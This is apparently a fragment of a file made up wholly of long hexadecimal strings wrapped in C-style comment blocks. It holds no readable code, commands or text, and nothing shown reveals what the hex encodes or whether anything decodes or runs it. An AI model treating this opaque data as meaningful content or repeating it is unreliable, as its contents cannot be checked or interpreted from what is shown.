d4c0b8e7b897eddae9eafce170a5490b8105294c93ab993601b4a1f9faf16559b32c16bb204f98f377b9640e8ee721eb8ff0f2e84e358652af29d307cda3fa1eda0546fa446a100241032b1bcc4dcfe978f80def21c6b90ced3aeac292097a2d04952cfd4cfe58b603696ab5272156d40f9d6bafb8f15146cbd444db3cf7fbf87a8c85a2c600ef05eacea3455f1e73a7ce1c2d9c52b330f69bd7db5868eb332cd6a33314f9e6afcf5e299b662a77f4f3204385807cc4356850173d5cb71e80efcb360069b298b371817d5c15a4e9b3e3add70aea401bec1b8e792bcc78c0c929ee374eb8712291a2ea7b41efe9dbeedc51b226a5812db2c3d708155796a0ccf2bfaa3342781ccd9279993b515302d048c4b361da1a927c200f7c99754b27f81fd3a45c0bcf6759c97088451db9aeb086cf689e9e56435cefd7de71f37939f05ffa5e41063caaa944c43913ef14a9042623809099e964279f11bfc2a3c5384b9e927a54615887edfb1b67d52b913fa605982c4d9fe5ae2e6098867bb63628e5d8048f581f7cf777afb0e03c8dadc77ff1b5cfb5417505b2e03b7190ac25be2d4157bfc154e9e3c18ca80f4a529f14727a6984a50fbb00395df9c2b1ccbfce7aee5a928bcdc9d4d1a66fbfb9e4c387e9c37aa4bf85d456d6be2f884b4b68dea77cd881615aa28b7f36e4699a4f3f4676ea2858f94bd8c64ca51e9e4c3ebbdf97be8a0f672452fc1cc69b062648e081feb8eccf2d293a6d94fb10b14aacd31fddfb950653aa31394f1dfb682f844fadd2121434a43ab9aa092fc5abb6c4d46f9ee7f34c32321454e541aea8645acae9b01b04a77b6deabd2f2f927157a9ba2f3b408125654238a5c2adccc21380a262e93a1ab36324ff8857ab309f3114fc0af71d7dcf8383121bf7ae420b73cb384ffd8e1c12d5224df60823ae17e27ac76530bb36ddf6056bdc86aeaf1aaf2bb3591191f3e708869994f1c8fd1fe2b0ea8f82f17338fa98faa29ff0ddf86afb7db3cbf726a217d1d489a154de49c6ec7c7b8ccf2a1de61a5a51fd7d528b41964726d8132bd2e331e9456bcf63472b194d62d31361528170daefca52ce3590fdd3eeaff5985bde23d83a9cdceba01dcda2ad41a25c7a7e18501a07ee9bb3c5454e3bb5dd3c745d6ca4a6e29fa55c61625a369820242f1e82674223bcb80d3e7cf1ddc7ad4378fa7bbbf8c1a4ceba46a4f3b8d5e96346de5768d1bf7eb8a0c969e0d6d969c570dba62db76e7e2a38ca31aec101d88d2e248ff5772cb211041a35309768980ca1419b4b73254019891b87e446da95de095f289af862008e05f18abfe5e69b7500de569f8be19b609328f26518450f431ba643d6faa8c7a1c17f10c1e14129c3e9dae83e64886c0e3e891b4b0593ce7e4ffd69b25b8a2c33df7ddd9c826051cefdcff5da5a1aa5122a884174c1c7322b4cabf796e4635ff6afd0d0855c6bab512275f43e3c5e06c45fb17e7c987fce4881dfa7fecb7b98a7d109325554727f8d059c70f50f98b913aa19693be6b09eb70c594b2808c8cc4e9c5566de8a4a50d772f6ed8cf4587007dfc8c0cca98515a9e864b36f1ef55a57a77660fcf87f914031e6695b23064cd90ec0d5c04850cca8f64b492bbe6b023fb5ec29a2184188c985f199d908d3fe6e1c864907c851c6152e1016222702eb9115c824e6d36954d053e95ead2935eae011a869b9af1a33dc33382a8c39b23f0665be7630051278295c474353c745365a0b2aa0031127b2f5a048bdf770f3bca2a09af62241d3b63c270b3a1d0ec60ed3a3aee4b1f30ac7cfdb36824345a88e452681c433becca5fd36d7263aba79b814e3d00eebc546d5f2e654416cd36b33a60f07b3917dc7f15f00565eff32b4e5d8b38127ff2bc468eddbe9ceb49186f65b1eca0d8cb53bf66f6fb759f7e32e2831d629b9d7a1b55af8a4f84224be4ce6a2c33082a74*/
/*ad055ec3b9b460fc4437a262c40b16d84b459cef26b16e7afa12c17cf3a7f2354d8c1b4f831bffd242988bc5134596721b529d01bc9b4896b9873381c895d6c0f93282143e59bd8c625bdbb56c79a4bc141a3286243e31db64a2ee95ad64d3935e3ed80055da55a368513ad2f1b56acaeb32db9f3d7fd9908d06b62aa567cf575ea579ba1ff9808e460f8f73cc6e68cd01eac137b0891b7d6f10a0aeb6384e99d735a7c50f9e65ff9552b595e80fde1e598dffc8bb5cb2a17d78d1e38e04453e084bcc26b6042043ee1b97772b428b6539b4aff4f4a061ff11a2c0434be99aad08bb87f920f22098c67b1021d0cd0134fae3438bd7be01736fe95a51b1b20cf03c5312924063fffe3739efd9d8b55147080dcf218cf997b6a4632ab31b6b1e46cd42c129e9dfcf78a96c906e7e2e8badb696fc28daa86a8aef0c42bd8260d75dd83e5b0afa494164a4a5bd94bde70a98091324ae9dbcad132c2065d0d9cc3ae83769662769f2d49daff9f493c642159d5031b90bed9b127cb87b1c83d1eb6ef04a3f473b124d7cf165b68d954e0344d904f00ed6f6db0a88d594da3bda29297e3e15e6b37d380b603a323e3b1e6f8167c57b99ef52539e3f8441894c87ba815af3a99691e830e16c9c28a633fbc9110c9f35a66c0505d0f3aac6a512e5e738f9464e7c7c616837db1bb98cd786a29213b9cd3530bb90261c72a84eb9a30311cfb5dc3d9e5e6acb94bc097dea3d2959388884e84ae9c094585311c602bd524c7b5e3897b79a63ffb433a41659f3e65e225eaebb9b48dc7adab3b41da5e23dd583fa951e3d79a0e654df0e3f4a27f8cb61ae9970fa68c75771fb8ec36595f9126020165108633ecb83c2c27ace626b4fd8165553d5b577779d1effb96d8c8765344c21a1123d803688b42ddbd5f8c871dd19f9dcb1735ac6f9f69c6c01b8227b3c24e13448b56844aa445431414b354142e8b75ce5aa584cb1351417f381d8d5455f4afe7639b7193ba63911c88b80330167119aa6f1cf2bed487c9d8ed42bf197651c7044e2993dfc9c50484877199ffeea24f5936cfa89d63155e2536bd34c21f61fb695a303a54ef6a01f6e67bdf4e94e278d174ae22c17992be43fa971d660d871cba218bac78ed55194eb1aabb79ed68d1040b9afb3d063deb2dafef5b9b156744d614a376efa388f7ee768da02baa9594a9aabe03056159e5d13def534d15dba6431d492679149f88f03aa225d92f7bb58cea03ab3462c6d2a689de599dfc6fb70e208c42245bf02013f9db6a1afc86fe49875b3d2b48a24fe396a4e5a3e339f0145927c20466273b2f51b8986ba380bfca18f5301c3eaff218deea60b819536bfd6575ab5bbc3c774f20536eebd542c00def886dba4eaf66f874c143639364cdf6f623c1f6641e36f614dbee47535fe61f8ba0bb9cdba7ac782fe2deb8364fb85bf909b65f2cae25ed1877c2e800daba789531020283dd82a36f083ebc80cab2886d31311e8c15ebd5cd316fbde87eef55315933be2eb1492a029642bc163eb7f840572e07c96de07acc927265abece6382a310864a94cbe2ffbdb3a0846cd7926ffbf415fce2c1a9a6609281be1b13a6fa949ea380411371fb3b4d456503c902b5d5f56963aa1f4903839790eb4e8bfb1c7e41da5c1def1335589d0a4ed1cd282c86cd3c4b408eca05bed2c30323db183a9b9ed79aaa7e1ec4931c1cc1a615d17d43a6f2873161a24b0bcc321547f14beb83dab270ef913a36cd540458443412b7d6a070a9a9a3edc7ec822a6302c1272b4d992ee3ccb1c304dc720fc378b5ae1f96094daa98bbb7f415951161ce0292b23afecb96ec07c53a50af7805510f5ac03a850e08edb6d598cc9e390dc26f863642a8bdbe2794745ccf3d70080bd2bfded262fa2e8d699a6be95618368f3cc1728456574bd79ca29add9ed92eff01cad33f7dcc4af189e34d217c335f6d154c1e705cdc52554e71508dfdee48d577145e3d977c1e521fcbedb8c301e2a09327f594f366d75d496ee28da2f0b2db84f11fd2dbe2a6ffbed6eb3f50d4cf7c611d900412550f4cfa16b860fbe1d5e294f2e3a3800d56e587e59f71fffc618b27f6940690149b376ddeb1f0bc151ed142a55a069f0847f393d50a2155ab1cf306a077cad7e5c7cccf774f3053c3b5de11182efc0a623be17321e984aa97e036c0007f55df3567979e0e041d355d92fcd073b98950a582b3412ff8b3738b1758e67b69cc8dd75481ea31e52fca5443c1370280d6a4aebb25b296a9f1959b968314974b5443b657f36780fc4398419c2c89a1d8fc94f3b648c6a6807afb661ae6803603f16217f2f1aa6d223ab5f416f890f5ffec47b98d4e4bdcab23543974dd9d8de96ef7eaeb5df203358151086cd5f3c6a14db645bda7c1a5f0561a098df1196753fb0ab5654cf438ed23b84bc2e89892c3f99688a886f235b06ae40fe1bb9ae079ef3303c0fdfcd65f45b26257932a6cf99a2cf36d3eaf014438281402d8fa158dd47efc7eec347d887feb6ed5b6705b40e85ee2ba8d9469e8d0a53c911d4399fbfb0cb9f8eeb2f59fdc0ac2efc4452dae830787922f3b14d912a3c7d533f4c96d7928d91e551282ef7fa26067a19aae6c68b3fae32d79324399cf756bb14cf96887028ca38094740f30c2c56f417a36f768d0e3135431e65c4f2474f3870c82faca743a67c81bd16a9f577bbe8f4ece1dfcd77e2d31ccd4fb7a550c5b83330409083c1d3bf18e6a9ab9abab96883b7d0d5e388290301b609aa4ba9fdabc9b3774be3b00dc3d76d93a17beaad0436bad15670784fa99634ff163b9dbb8*/
/*509790db23347fec4cb8a94b807910986b62315c26451d3187b1ee50c2af90f2f7a1292c0fedd13ba63de3e800ccd107c7ff608d34081898730950feadc7e95d7658a2c97646eb445aa08aa4afc55c7045d2aa38c6a94c83d298446ed107f7fa81efdb658d36e97072da359a3c9ed303152a6a6f5080a5fe64815484ed67c42cb7fd22a676dbffb31a04118cd8fd3e901f8b507dc3688d8229c0f3eaa3d51f9a35bec2c20b89ac3eb36314cc51e71bb63e6b49b56ae9b3d2da11304099dddd7a1de497ee2ef3ff6a762566b1b330686f07bc9cdc251404f2725079f0b58387b4aa0b5395dc40bb150e1713a6a28e0ec58fcf4ec22558cc4e070c7a712847fd9ce9a1f68c98930591f447437020a788365392d479049b7b9f97fb208b84d2eb0a4a343f95e7ebf3d8951fbe7d270f0631e22eaa56c081cdc2f9c3f086b080d3a40fb0241142ff94a58726ce80575a03a40ebfd5c758c91949a2c44c6d32716824092c5c005cb700b7aaffc2180346270d4212a22fb8a856aedc40960228ba971f98769837a24aba17888b27350e4f9834682b65e8d3069267973466786860d56cc45a16fe45790e16803e15726b47b03cdbe0180ce7933d9ae72fe4c2bc80d94b8fa4f77e90e79708b1cdb4b357f097a567648d2a5bd55a56a13447f6fb104efcae30cd081f3bb3ecfb6273daae19d49ab138f1d435749121dedfed13907cc75b1cd864d9dbba3624ae92f5a2d713c330516d9b84acbd8ca444ba0bca274a0606e94cc596e7cdf0d15f0ef6d956bf1ef54515b5717640c0970ac29f4a5210f6eb0f65c3cb4be142944f1e0475fac833a15ffc9b4bf477a27a175c5c58a158704c9dda384312ef57ea605349fecc94af2c1654b5a39c0d4585ccc5621719f1e8cf104e3429bec7bcb3e8d5dd25c19868642605b39ab37ae5ebcbbc900f827ebe386ff84ff202af1f0fa7e951db01e9dd70de094c8bc7591780e8cf93ad31ae7fbaf3a2a23ea9c0b7f10ab8e40ef2e854fe669a74f983312befcea73dfe99035aa7e80da0385e32734554140c8ff4a5b7d4230e3a3cfa49dd16bdd233e41d9493b9978ddc864f9877e07cbbcd7c24fd03aabca9e4830742d160974356ccf0b154dfd4c20c5cd2850445d51e9b7e18a7f54811c3f400fa6dda7ea6732f0833db0d385194a0e736a8b92685beaf1bfdf5367366f0cc190e95f1fb00b4ae19cb1cd5265e480590752ceca8e92e6742f130cf7d966101a191cc36d47e0d72ef405e24e14487c8cdd83b9ebbbc0c6ae47d6f81b516032d95e7016850d6fb5ef695c031e3526ea3df3799455f4f34e2fa0d121815606416f1024d5d0fccb8a0631eae0a1450e0035d043e2bf2c1f0e06ed2ce6d3a4539c77d6d85e85eef651c4251651343cf6036721bdd341a223ee2263a6c31d064921dc0d0fac6f9b0f158bcf76e80f1fd99dcadb93d9664cf9550c457159c37945e704c22e51556bcf4b3c21e4e52aca61b6b79c9ec7e05641020fb1e1c98d4a30acd498a8e502c8ec881a174def62194fec4618a0c4a7ee46c18a00c1140921a3bc9b04a008e75cfeaf8a6bfba02a177dbd6d9492c4ae5a0489f7f79af5b7e3243bc05fc4a547f122aafbca6d0a12ac06003e3ec237f563bee6079084d16519a5ca8c97c665381e7459bf7436986ffa6731640fa6df7196daa4818f03db085d8798e8c70f2cd65a83eb45943e94f5b0963a458cf03f3c1ef9a6f05329795668159c8b2fbfbd910e7541b3f9dd3d44d003367f176d70561c9d6cc6251d36f97902812bd70154dd6fbe06f469014bf8164452410e78faf934d52522f635df5a5024ea07a9014a3c48f0bc020945c230aceec1bddfc03a883211c5e07598f6992ae2c9c347ce91f73bd0d3cd8469ec910f0578b5bc62fc6dd285c40ff50dccd0397bd7ba7c0ce90ae24478d30ca6e7ffb9255b5d297dc89641a728c07cdd3e5e732b385d9f5553c220fa44f7e7e0906724a87da3e8af88751e7afc01638fabf1b1cc10df792926b4ebc3e8f114bc6f2d37de60bd9fe800b3f6ed020482bf921a09fa4498c5758b06154000a62a5dce4e5b9d79880d7f47e159a40a779e2ba4d39bb2b3705b1e428727c1c6e4afb439ee23426ba315b034fb8a492e4b4d489314f78479a2f332519b37f98fc2b7b5f7abfcfa75e140127f9f24bc56cfbede9044eb25ff811ac43d6d917bc5b8664ed8d9660f8ff13749d4aece8d8a08e3fa5259f7df0b0d16bca16dc3a791b766f54485eb9f9b07df45fb55ca205ab20ef8ab1ac7fdb9210e468b2b04a4b0f0de9b70df065c7a00a0e60f6c73e0fc6498ef6fdc1c5381e9a9ea750df3a949e3926d756fd789c2ac4486be970a633f282bf4f31cc6581127c8148b62cfa11dad9d8df320e78b3d72d7f79a78a999597b46c764eb006a005590497080bc99692b37b7b1df4adf06255731fb7adbdb37c93d10c4ac958868fc1238357352c84ce4395ff8404281ed3627f296461d50e431603367f74fb6f9fbeab8c9a73e6139ae35184d4d600426c1e6ad23806728908dc15f77650dacfd5eb516dcc80b521eb5c20031f47b42f91a25ff422abf51e535037b8849cf5d900fa9f204bfd6811e83eecffecc9cc24030585e83acf3a607c13508898af3b233bd159cb9baab5810bb98d90f5b6ae7ecd15b444490681ea772070fc74f96cd8e7053cbb0637d103b297008e0b74706ae4667b5cb6aae5dd15bf2932bad610ebd6d5bac358f2b8c16524a35a4afeeaf40352c29271905b6a8a8f0fa6b6b38b58693fd24201169faf4be519688ff4379fe642383342ae2a81e4ea201fb3b9*/
/*6138e6c22aa4d1e4f98495366b56c3272eb806fbc3ecb16bc4c9ce068f6674af7e3d20add9d1d6932271d1e9aa6e58a7d0a4302581a5869b7e26bd7156f4cc7aa9f0f6e6f70e1ddf61164618c4b22bf01bc45fe6097e2abb2ffec53a9c418994ba97a10c7a095d6c3d843ad395ec78101b507e55932fab4adb14331877cf1e97cf814cd59f4c161cf0fd9342a6850fb6e13074525332a46e8b91c9ba3942cbaa1115bfaab8220e701f7c6f44bcfe0735b19baf3f393eb3d89281ff05348e82f0da2fd03a7bbb85631e8f38dd4349fd46f0f78d33a91fbac5031a404d4f9cbf8d671c719cccf2eb050be85e31c9553ddfe0bcfe454a0cfc09b58b26bd7484429d68ec909a12f9d9a9d9a38bc72ff0aa65a7d9fd2ba3252d19f0a8a6805e82c8dccc9dcb505c9b52dfcd00da96def42f9a2e3ff053764feb5775dfa39f6087d4e60affe5af00e7658980eb6537729c00e217a4104b86c3fb80d7207bef7a841f881a2855ebeb8bcedff14e774688fb6e5e989a8d8911bef2748e694c63d483d3192e655fe63d584aeac695ad73640d94bf44c2ce83551d4484d06f9b5d52b97ffb0844dc0feee6cf54d7dce3f1ac5aec59e734f792f2272af88d4160cf60605e322a0779eff1fde2b8401181ae64491729769365e6bcb039aef49e2d640d28bbe4665206acec0f94ef2d3ad9b04308cd0ced9ae508eaf0027d4fea637badd12f5706dfc7775b031b63b0d153e2bc8a4a9b527e6a8c30d033089a901d223a86be86433a9eb3c81284651a48a63d553f588acac810fba87b590166158a5e9724632c4949ae299012662cc103aafeffa2160e61f57645a109b3f5df61cc1bd788e174c15b9328bcdfec90a770f03995d1a7bb982a7fd696d6cd872b81a41a6b096f3c8794704821dd9535d8acff3a6e8b8f2e31a62b8ac454edd52d71f2ec5f9179d3abaed6a986a570229351c44f1e93256b395e59c3e6f7c7785d797c7b4960500dbcf0d110ed8ad10abc7f80da16f4c68313d2adb4742e3659c0ed1d1f71ee6c793a7866e0f2bc74383b1efc9b35271edc320b9b75771d04c5bf0f51be62abdda5e0f59e1bbd856d3ba703549fd3860cb6d39feb496e1efe52fcda1b313ad85b8a46b3b5ff5cb7596bf06695cec66b2852a0f7b774cf1672c44c8378bc4b816f7490fa55ec4878d5840dd3fbbbfd6ab4ad973747f1d17cfec5912fde1c6d2c42ffe0a62a69b09d5008574f453d2df600cbf94c543acf0e1ee9fbe2878d5d1bec2f788795c8ce078f57d890006215a05259424aa948bae9419a131f6c481ba63940f17ffabd817d5fb3c447fcdad96320526d1ff243851d18fc356529fbddbcef4ae1dc42ccc56366ba3ed85078416b68843121abdfb2e279d385971ebc568395290d60be73f6e936a5629d200d56b0e57f65cce8ebfbc01ff230d1ca40e78ec3386f19a6f66981d7293e33bf82420924877210c066bc68c228b325e46d55c3e730ebdedf1b4e5ed23da6a3ebc5d6118d749d74df46319acb47aa606cf4a440dc89e1e45bc18f48efe18e95aa6d1c5081d44f9cd3f60584c403117f7ad911ce53ab4a6d6aaff0013b90028b7689f9f265c8287b0eeede5768eb5170bcd802b68ed51c2506baca189bb06cceecf2670eec14af3619bd0f0392cd2ab2d9f4e66d5fba175a5e2adb894f2d3d67bfc863c8747733dc286e24dae1cc4b67244ee38b27c328af7352d68092eecb4c1dcade9378a3b4460566ca1a9304c8c4d65bd775692e229f1cdbf7fe38a0d223bd3f40eedc449e6898cdd0c8d8c285c52e57a6ae92b64773e39692d07f38d0c4afb1ca2a08d3a6a3dbd8ab2d8a1240a8ae929f557d38f2f6c310c2eb4b9bd5106bb8fc3ca0a0b6d4e61be9f04a09e1046acf21803fad043156fff9f5820f1876d4b6e4b8a424504a2782e89c5748b98bf6de054fe3be3388f846b125d4c22cae590cde99b128797c8db9cfa4c1bd96464b45a4fdb706fdc3056a5180f2d3e06777319916860dea10169fd8170a454e9ff915a1290fd9f06821d916dc582747beb07701da2da42f9e9aca8a28ed82d704f45648943b2cc6a47739467e98719759d95e529d88ea3f21b5e84e2f53a8cc62ac9a6820a21cf8695daa295af494e6e58a891e47927a4afe66e33911402411fee483e7b362f4c0c00ca41354db7065b617ea210afc33469cf3624afca7172d54df657991dad0853cf1f2f896ee7d255759a6fa06c66cf8ad6332bbe20aa2bf773d5c126db765d7cf12c77980d043e31846762a315404edd07bc4eb327c643f667481e5f600dc1385e955c14d959de8e5786e9730a1a391ee01ba6d96e092c11714306a726e46cddd7af4d3c92e32ee26f2db89ed3d2cd7aafacd2553462197e1e146466615101952ebf49592df05adb6a3982588d54864fe2d84bfa43f01578f3a2659c6acc101abacf2695cdcef8a359613fe235ac106a2d3b508de7d057326fe970836ef59990cd90b38aca2a6c749a701b77407618008ba21a43644c604e812d19f4d2d51044a16a020a0f816f534af6b580652bf7894f4852ad4ac26e94ac11232e21cf67b66963e889a6615d20ef1537039e2fb9fadc16c1eadb08a73a5ca1c4e227c3159f14f74f4d0818c9f890f63124d6230033e7f21150ffe8a00abc021d1908e984bedcd359fcff62f6a6a1a455a6bd419af5b18691180d81ba89da49cc8fdf74b9f62d180f2f7cee38bd7f1cf148017d559197575f0bec85614b9bbd366dd95252afae125509ce0dc3331fe587c9a619bd6181447c87eee5b2747cc744be68d37cb4103b0bd9594817693d4ae6f35be7b*/
/*f7120ef24c7101661aa39dbe147e0eadccceb87e3726642f8ee5306f38a9ccc40bdfa275f8a40e9733a35ff2afa9f01b2da83335d0085bb23c1c0f54de6172c2341a0b0dc82feae1a1eaa08ee476e92ec75fe49b26a3cfeb6367887989aaa0a4c5938d263631d08b3c9ad3f6941035d8d0d2f6e191c80fcb130ffd874e43cf91cec694660037a8c45bd087493c1e9db2cd3b9fc01421ea695837f4eb984054f7b86157a341c1f6f8dc6d7397d7fea0a2595f92f9524f674f9d8077384cd2125257bcdff30379b8ff6a5e14cec63ac6be007f29fee6e1db3db6d1edc7a88b827ad2819bec358193f7641df3e2bc3141adb425642998e42208faf084bb5217e206d2659e969839cf6b27db54439dca183ced4e950b0dbc64b519500c26354edefaa1a3574997c3f90662ca043a2f0e2690968a55e7522d45293f95a0341a82f3f9f45eefe45e55230ffb2052b79fd1dd3533f09d0e93765854ce065400acc6260cd3199a036c92d1157723c7a91988ca68ef0cc9feb16643dc254f77e4794e1f8a482b55de7e31477a1078578406d61d639443320b5984f838bb2c8d0c7c7cd5ba840d4e59ed9506b5df1842710ab149ff0b9cb2cf074882395412be9828e5f1aa5f08e15271caed84ae4a0679ff2e9167498f7972245ec80d29d5cf78a5a9a0369b728d70b0787c5acefe278265b74badab6a4a08d6712e1668eb2aac1f47b409fb01ea6cb41181df7ee6fb9c81dae809485f412e071670bd34b763bb4d9ddc9bfce75e1079515fda652b7d297d2ad1db641325387238c7b036b1bf341dc57efe5140a8f3a4657def56d45c21d0a67f32cc9d5b79cd4a0f36703031c103f0af1ef206d2cf4eb6a7c38b1d0c7eda589e19c3ee707508142d73eb3d55c518e8b95b36858349758a751ffd07e085007376ec0a3359279c6703839a5069b4727334ff8d8b77a5d8f5b2baa2f963ca9782ee94507d30ef42462148760648f05956c4ab50e112a6eb353e66e433051b455620558a7996f14a39b65afb5656ed6a02144ef5efbf2199ebc132ba929b652b1dc8b45e68b6ac885c39d64dc41bca387be9ba5f1ba5d5c246026ea4b40ea8f6c8d06694d65d612732c273e31d9145ecc6b812c297df68bc2bc2b100c1c337fadce48fc77dce3923ffcbbd9ef928d4506189c904577e885fb2eaf1d6846fbfff98d6d30bd4a8e1c3189696fb161368d4880799658e8b688a1ff339035375f273e14877d6f981fe0f82a2a1f859c2ee1457e926e9668426b4dae7b78ac2e21b35dca19ce33e6a089f8a4626eb6a6e455f0680d9171c3a92c0b60d70e28adb57aaf611ddf9879d9f015f09f667e3b313e460bce396a8e4285742d1def2d17eabeaf78744abc75ee86d1a3c6fc459e30e7409e4016d8a2d0aad2f64778bf242ec975f439e22b0b106ef9ead413dbc2c26996301124e411b7e1def3d0ad495023a89a00b9b76c080f1d02419accb8c5c776b65a968047fcbf73786e234a08133d551d3d378295129e6843972876f2213d413bd7b9d93981f0e4ea1b5abdc694e4450a05f03be1c13b2b3b5a9a969429ddb23e5680c95a7e2d1d3e4b04fd3f145c3918754dd43927fea330013610d24723afc00a5c29ff8f10c1625e638ff682662adf4d9dfb588f203fa123ebaf26ebf80e8351080c5cd911980352ead1630f1184f0cff7ce6b19ac6091e68a51865698fd3668d8f4d278954b4cb072482480ca7c9e2ea97d47bc8ab0c6c4abc4d859d733e482ea44c954beff46781a55e20ff54f429b70877f3e44fb07b635ad01422d1cfb025edc041c8a7cfc853d73b6a100ee1671fa4e147d191c9e62dd1d0e57a9a38fa4d659154bd8e9a1d693a47ebd2b0465cad2ed02a07cd8bcd7c0a28870602d46b25e7194f384e5e1a9df5d750f9585e2f3be80c46a7e9dd14c1bda0c10e56d24b96561e0ea43ddeda9f7761fda5525b806e011f366c11ee615ef1556e0f2d444c48c9ed70559414d260de10bd89fd916f9d8144c80d1943e33227f823631f487e0c8fd55442f13f7992ffb591eb87752bca9c49ad6163670e7d80fabb6b2781a7bab45cd7c5b458793db75f416aff634b7781e03a708a4e5add24e731712305ba9f4f7f31443cae87463a50f936b10ef6763e232fe525f78f184803848eabd1150b96280f395bd7cfa674166f5ffa86e12490c6267f25cf13036d2800f6221b2b69550ced09df12e12bea9c169e6784a26e39589806580025b292a7acac27e7c3f0224995501958ffd882886d7184ed0ff6df99ab2afebfe148c933f77357af4b194493e107bdc575038e9210577ef2c31b99f378171bb0db4ddf2b0b36ca54e493b4beab3c4f6c3d1ddaeb738a92b4166760f1b9eb1a196e6a1a9ec47fc01105792a45e82460d6958bd3bf697cfd889c2a417e8d12a97f499ff31ff6d3958affad58d1a153e889058c851d835ff34bf5679ede7912d4a7dc8504bd5060de12a3685a242d616182d4a4bcc336c79f996d364fe63930eefba37bd14231ba098fdd4e929e93b46c9452e579a365c6e071ab4ec826afb08078c2732862d6440e5b8b8b4a3c19ca36533f7fd604d1f1fddc87a71f9cde93556eb64bf528febdfcbd87197b5e14920cf55b939e68dc6bfec2d2003314c03f8a9ebaf74205e13afbfe1f5275f4901eee40945c96e09a19b8f6ea14861d977db20c0fb80e28fffbae5ad5d474c4bc72f7e5e72e248fbae19d31b94c2716171d901e91cb3198d791b968380684cfc3715fac678b89bff5d82e5cd639b43a61a92f0253a9576ec76142b85a02a3013502a350607c22c40ce4fcb69f8891*/
/*b1766cfb16f691ab607e71a4f1ce58a0719d37677958cfe086b68132bd3ea33e714f9af78affea0fe98957b33d6b67a6912b73650ba86ae797dac4f55e01b178d3064c0428ec108e0b76e9ab6abaf5fc34d38d2743578cd035e74232498fe1cb914551a7f4d59c9f91a39841cfceb089531380a16e484f829d2b3f6045a36a03d216b4937b0a347b111e477b951c43802a6b67bc920ee30eea777018b90df0f670b4e4e1ac711120589a7137c99e39ee108dc259dfe823e7a57b5aa0f09faf52d78f8b281ecce144fd71aa5a382e20b7b39e8a841c7e2e9108e5aafa88d277d93e5367cca7e310cc816d88b49dbabcc950a47721eac478a9ef4b2ce95f102ff468d0190d0e46fd4f8bf7eed5d09d9c46a4bfd7cefb0455e51128e8153dbaedbf9d19660a28940ee574d69e59bbb2efed07952064a896e7d0f7803c6c574410f4b15114835c6bbebccd2cfccae3515e035c3a49212fc153c08c82fdbd8f0405cfb10a5bf17814d17d196f4741f5f2a192699acb5d347413e15c40d315a98adc9726b6552a4d8cf9f1ba0280e38a69d411b438f686c9608fb523701ffba5da6c1dc11ce915d73363160b44ad73e409f4ea439b8aa2ad81be1ac18261c26fc3602b791ac594e7f23ea9f787217ec3d46268aff71513541c26c258756f1a05d12639e55d4b1a96ebfe6eaa9f88eeb09ee297d5a895dd1f5102bb5277e7f9da895114c076499162e2c6b86143bde51cb6fb0b4ddbc6b8e2ed6e7f3fdbf9e73586d9d6f61dbd74a43d8eedc4c953384673dd85beb809355eee85d41b6872a632ee0a997415af187c8797caf2c39c1da920ed133104d3a8d83ea2b7e3fa387626021315c8b531e93f2c437c377e477106626ba7ce4f3a6557292e7be8b2b9a3f5bd8a229e6a52bdcf1f5db92bd552d2bde4e6b411f6e382e33fda752c90b425c6a1259ea5b308fd10c7849932fc50419e78ba38ae200e2882a1e32713e85426ec4f560a775a343c18e8a8fcf31774e21bed9688c52fb7346cad5addb10938c8eace4fbe473d4f6a36af585a6ebfc3f21b83e540ac6fb7c54b1b06318852edd0db5b24841b19cc14d9affd44ed7505a4bb95876a6c9fa64717159fb533e12e0613ea0e93c64adb3db14004e19b19fe5af6bfa23123141000741f33d4d8a0afd5dade5e4f255e74a31d5bc601471ea4854ca2a58693e009ea2a33f24842567cce881a1e1f05e89bde70a835a8608346ffedc1fff861f2d3f7d14bbb8980da86e09c341708d046dd8ab50151f36d3666c6be170f5f0694bfef29e7f80c613ed16975837eaf46b37e518ca5f4445fd04701af27e2fa9602c7ac099540924d0671bbf6745bb60c73b686fed045a29b3c3c2836967247a47e7efbc5a9f1d98dc3281b76af5b9b7fb46704f050a5d7e0588285c571bb6ab7b9c01e3b8fb86b79404289a29016d15693e26b5cf8f6a2f0b94bd56390403da5f58cc0e1b81d0cd45cac16be8ca27e7bac496e9220cb4bbc91558052fff18e499b14f51876b3f7a5b4a44f45f0a5e1e06976249a47325d97344f8363f79821537516da652bdedd948b14731a82d363f480a1665b1a75e9d60b66899bee8e2972e759eca501baf5b11861bf53cc02c7135a1abbe58940733d3efab0d75e354a49d0e4b94e98cdcea6479ccedb2d79db0f564f4d9ae35b258cf3eea9b26cf8fcaf017db96defbe3b33844a7c9cb611d9195b1100ee6be3431146e2ececadfdf54a67aa9a72ba090c4cebd875ca86e301ae5e7ff0053b538bd494bc9f1978449a7ae34a2f78b763c3eec46ce0886f2d70d6c74f4ca0f60721bbdcd85154fa8a5022b36e820c25437606806b06450e2daeb74776b77df1aecb5ce3e0f49518153b364fd0a2ae559a326a1cd45f4a5c755af95d261ab50be66126b2f67c740bad2e2182b3d6ddce1aada2c5886965fd19882985a6315c76317a2e01e3577764bbaecf38793cb35eeffb0cfdaf8d4acf9fb84e92d1e9b6b91b3231aa953f22bfba65c4460c30ca84a3c62c0f3cab091d993932547bd12572f62d154759230052aa741c5dc8a065384101ab41854ef3f8da722848236618972ca6d0fa2805c73ea21452e951be58813b36f0fe47a02a017a3084d194cf2f5a443218e1f097e742356ec1d971a79e8fcd7a776d0bb163d1087278fb844f90f6365cf5b13b57b6bce2e41e6e68cba18edede7580bbb0bf21740c7014bd9a827febba13422f65f07cb647cd8c1b535d5740c07ef2a8bb3006f67b40f01f95adb5b357b6b4f4f2fda3ad4970312d8081545921f2626337f0b4d5094850c736bfb4aa151e90b7ec2a02484bb93ba28a2f67ebe2d4ab76a36f2a22d9250bede2bd9fc4601f5387c0049d2a330f58158b91360c51aceccc77d5baa3e86b7edd823b6d1001d5894940b976a39e98103421e2ee9ef658da0103453f4a5ab5e8fa18a7f714730ea969443c498f035c931200a6e51bea53d8f8a21e00b6dc1ba86ca6a887ad4112f05b664ac3939177fd4b42ad950d24d843bc01d082e20d3089c93d6a6e3a7c79c870696f78159a8ae7662553163ddc50d90e41f3f85a6cc43f9ab8422987960896be786f888b174a6a8073307756d26ccd44fc50c491bda55f08a7fd33fd889bb3f05843def05547e391f8cac3a9005ab379e7c726aa5e6439ea9fc8db2719c8bb893f52bb81eb0adc2bf1a9506c99d4de8262a55aa1df2ccd3cff86abaf1ac4fa21d1142599c25056887fd8dbf5b6553a2baca18af899e0d6d033571cba56e2abf6f4f03b342e6ddd493d12cb541d230274b2d27b8879d3ed9d62eba707f5f3e007ee61485241*/
